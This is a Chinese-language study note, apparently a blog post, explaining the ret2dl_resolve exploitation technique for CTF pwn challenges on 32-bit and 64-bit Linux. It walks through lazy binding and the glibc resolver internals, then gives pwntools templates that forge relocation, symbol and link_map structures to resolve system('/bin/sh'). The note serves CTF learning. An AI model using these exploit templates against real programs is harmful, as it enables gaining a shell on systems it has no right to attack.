之前学习过一段时间的32位下的ret2dl_resolve利用,后面不常见64位,因此开一页总结一下学习情况
简介
ret2dl_resolve利用是由于延迟绑定而产生的一种利用方法,通过伪造动态链接的重定位信息,令程序错误寻址,从而getshell的方式
通常在CTF比赛中,Pwn题常见的为32位的利用方法,然后并不是没有出现过64位的题,而64位的题,又与32位方法有着很大的不同,文章只是为了自己以后复习方便一目了然的理解知识点,故只适合我自己,如果想详细的理解可以进下方参考链接进行学习
32位
程序在调用某动态函数的时候,有如下步骤(此处为一个32位程序中write函数举例)
1 | 0x80483d0 <write@plt> jmp dword ptr [write@got.plt] <0x804A01C> |
2 | |
3 | 0x80483d6 <write@plt+6> push 0x20 |
4 | 0x80483db <write@plt+11> jmp 0x8048380 |
5 | ↓ |
6 | 0x8048380 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804A004> |
7 | 0x8048386 jmp dword ptr [0x804A008] <0xF7FE92B0> |
8 | ↓ |
9 | 0xf7fe92b0 <_dl_runtime_resolve> push eax |
10 | 0xf7fe92b1 <_dl_runtime_resolve+1> push ecx |
11 | 0xf7fe92b2 <_dl_runtime_resolve+2> push edx |
12 | 0xf7fe92b3 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10] |
13 | 0xf7fe92b7 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xC] |
14 | 0xf7fe92bb <_dl_runtime_resolve+11> call _dl_fixup <0xF7FE3660 |
程序会jmp到got表的地址,即write@plt+6处,将0x20压入栈中,继续跳转到0x8048380,将[GOT+4]压入栈中,然后调用GOT+8的指针,此处可以知道[GOT+8]存放了_dl_runtime_resolve的指针,最后则会调用_dl_fixup进行定位结构体
首先把结构放出来
1 | typedef struct { |
2 | Elf32_Addr r_offset; |
3 | Elf32_Word r_info; |
4 | } Elf32_Rel; |
上述结构体为延迟绑定函数的重定位结构体,由plt0与push的第一个参数确定,r_offset放置的为动态函数的GOT表地址,r_info中保存着函数符号表的偏移量以及类型
如果 r_info&0xFF == 7,则函数为延迟绑定类型,(r_info>>8)为.dynsym的对应的第n个符号表结构体,单个重定位表项大小为8,单个符号表项大小为0x10.
函数的符号表项结构体如下
1 | typedef struct |
2 | { |
3 | Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移 |
4 | Elf32_Addr st_value; |
5 | Elf32_Word st_size; |
6 | unsigned char st_info; //对于导入函数符号而言,它是0x12 |
7 | unsigned char st_other; |
8 | Elf32_Section st_shndx; |
9 | }Elf32_Sym; //对于导入函数符号而言,其他字段都是0 |
通过st_name与.dynstr的地址可以确定函数的对应的字符串
程序调用动态函数流程为:压入两个参数->由第一个参数确定重定位结构体->通过重定位结构体中的r_info确定符号表项->通过符号表项的st_name确定函数对应字符串地址
利用
利用plt0与可控的参数定位伪造的重定位结构体,由于重定位结构体可伪造,故同理控制r_info,绕过类型判断,定位到伪造符号表项,继续控制st_name定位到伪造的函数字符串
1 | base_stage = bss_addr + offset |
2 | plt0 = elf.get_section_by_name('.plt').header.sh_addr |
3 | rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr |
4 | dynsym = elf.get_section_by_name('.dynsym').header.sh_addr |
5 | dynstr = elf.get_section_by_name('.dynstr').header.sh_addr |
6 | |
7 | ## Making fake write symbol |
8 | fake_sym_addr = base_stage + 24 |
9 | align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) |
10 | fake_sym_addr = fake_sym_addr + align |
11 | index_dynsym = (fake_sym_addr - dynsym) / 0x10 |
12 | |
13 | st_name = fake_sym_addr + 0x10 - dynstr |
14 | fake_write_sym = flat([st_name, 0, 0, 0x12]) |
15 | |
16 | index_offset = base_stage + 16 - rel_plt |
17 | write_got = elf.got['write'] |
18 | r_info = (index_dynsym << 8) | 0x7 # Control the r_info |
19 | fake_write_reloc = flat([write_got, r_info]) |
20 | |
21 | payload = p32(plt0) |
22 | payload += p32(index_offset) |
23 | payload += p32(0) |
24 | payload += p32(base_stage + 0x50) |
25 | payload += fake_write_reloc # fake_write_reloc |
26 | payload += '\x00' * align # Padding |
27 | payload += fake_write_sym # fake_write_sym structure |
28 | payload += 'system\x00' |
29 | payload = payload.ljust(0x50,'\x00') |
30 | payload += '/bin/sh\x00' |
上述为32位利用的常用模板
64位
1 | if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) |
2 | { |
3 | const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); |
4 | ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; |
5 | version = &l->l_versions[ndx]; |
6 | if (version->hash == 0) |
7 | version = NULL; |
8 | } |
由于64位动态链接中,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程由于reloc->r_info比较大,故程序会发生错误
如果绕过上面的判定,需要往ld.so中(link_map+0x1C8)处写上Null,需要泄漏地址,则再利用ret2dl就比较累赘,故这里绕过
1 | if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) |
判定,即可来到
1 | /* We already found the symbol. The module (and therefore its load |
2 | address) is also known. */ |
3 | value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); |
4 | result = l; |
此处将(l->addr + sym->st_value)的值赋值给value,故此处选择伪造link_map结构,然后控制参数
1 | struct link_map { |
2 | Elf64_Addr l_addr; |
3 | char *l_name; |
4 | Elf64_Dyn *l_ld; |
5 | struct link_map *l_next; |
6 | struct link_map *l_prev; |
7 | struct link_map *l_real; |
8 | Lmid_t l_ns; |
9 | struct libname_list *l_libname; |
10 | Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息 |
11 | ... |
12 | size_t l_tls_firstbyte_offset; |
13 | ptrdiff_t l_tls_offset; |
14 | size_t l_tls_modid; |
15 | size_t l_tls_dtor_count; |
16 | Elf64_Addr l_relro_addr; |
17 | size_t l_relro_size; |
18 | unsigned long long l_serial; |
19 | struct auditstate l_audit[]; |
20 | } * |
可知l_addr很容易就能控制为offset,如果令l_addr为system相对于程序存在的某GOT表的函数在libc中的偏移,再控制sym->st_value指向该函数指针,即可控制value的值
1 | //获取符号表地址 |
2 | const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); |
3 | //通过r_info获取函数的符号表结构体 |
4 | const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; |
往后用libc_start_main举例,sym由&symtab[ELFW(R_SYM) (reloc->r_info)]确定,然后symtab由D_PTR (l, l_info[DT_SYMTAB])确定
1.控制(r_info>>32)为0
2.控制l_info[DT_SYMTAB]指向的地址为link_map + 0x70,在link_map+0x78填上libc_start_main的GOT-8的地址
3.D_PTR运算后则&symtab指向了link_map+0x78,从而sym->st_value则为libc_start_main在libc中的地址
至此已经可以取得value的值为system的地址,最后则要想办法将取得的值写在某个地址可写的区域
1 | const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); |
2 | void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); |
rel_addr由已控制的l_addr加上reloc->r_offset确定,而reloc由D_PTR (l, l_info[DT_JMPREL]) + reloc_offset)确定
此处假定rel_addr为link_map + 0x28,fake_reloc地址为link_map + 0x30
1.reloc_offset为之前填充的函数相对于.dynsym的偏移量
2.令l_info[DT_JMPREL]指向link_map+0x80-8,而link_map + 0x80填充link_map + 0x30 - reloc_offset
3.link_map + 0x30处控制r_offset为link_map + 0x28 - l_addr,并且绕过绕过类型判断,填充r_info为7
之后_dl_fixup函数会进行定位,然后在link_map + 0x28处写上system的动态链接地址
此外,由于程序还会加载strtab
1 | const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); |
由l_info[DT_STRTAB]确定,故需要保证此处有个具有可读权限的地址
1 | from pwn import* |
2 | def build(fake,one_got,reloc_index,offset): |
3 | target = fake + 0x28 |
4 | fake_link_map = p64(offset) |
5 | fake_link_map = fake_link_map.ljust(0x30,'\x00') |
6 | fake_jmprel = p64(target - offset) ## offset |
7 | fake_jmprel += p64(7) |
8 | fake_jmprel += p64(0) |
9 | fake_link_map += fake_jmprel |
10 | fake_link_map = fake_link_map.ljust(0x68,'\x00') |
11 | fake_link_map += p64(fake) # DT_STRTAB (just a pointer to satify the struct) |
12 | fake_link_map += p64(fake +0x78 -8) #fake_DT_SYMTAB |
13 | fake_link_map += p64(one_got -8) # SYMTAB->st_other==libc_address |
14 | fake_link_map += p64(fake +0x30-0x18 *reloc_index) #point the fake SYMTAB |
15 | fake_link_map = fake_link_map.ljust(0xF8,'\x00') |
16 | fake_link_map += p64(fake+0x80-8) #fake_DT_JMPREL |
17 | return fake_link_map |
18 | |
19 | ''' |
20 | linkmap: |
21 | 0x00: START |
22 | 0x00: l_addr (offset from libc_address to target address |
23 | 0x08: |
24 | 0x10: |
25 | 0x14: |
26 | 0x15: |
27 | 0x18: |
28 | 0x20: |
29 | 0x28: # target address here |
30 | 0x30: fake_jmprel #r_offset |
31 | 0x38: #r_info should be 7 |
32 | 0x40: #r_addend 0 |
33 | 0x48: |
34 | 0x68: P_DT_STRTAB = linkmap_addr(just a pointer) |
35 | 0x70: p_DT_SYMTAB = fake_DT_SYMTAB |
36 | 0xF8: p_DT_JMPREL = fake_DT_JMPREL |
37 | 0x100: END |
38 | -------------------------------------------------------------------------------------- |
39 | typedef struct |
40 | { |
41 | Elf64_Word st_name; /* Symbol name (string tbl index) */ |
42 | unsigned char st_info; /* Symbol type and binding */ |
43 | unsigned char st_other; /* Symbol visibility */ |
44 | Elf64_Section st_shndx; /* Section index */ |
45 | Elf64_Addr st_value; /* Symbol value */ |
46 | Elf64_Xword st_size; /* Symbol size */ |
47 | } Elf64_Sym; |
48 |
|
49 | typedef struct |
50 | { |
51 | Elf64_Addr r_offset; /* Address */ |
52 | Elf64_Xword r_info; /* Relocation type and symbol index */ |
53 | Elf64_Sxword r_addend; /* Addend */ |
54 | } Elf64_Rela; |
55 | -------------------------------------------------------------------------------------- |
56 | ''' |
上方为ret2dl64的link_map模板,从raycp师傅的pwn_debug框架中提取出来的
参考链接
1.Return-to-dl-resolve
2.ret2dl_resolve解析
3.延迟绑定技术原理
4.ret2_dl_runtime_resolve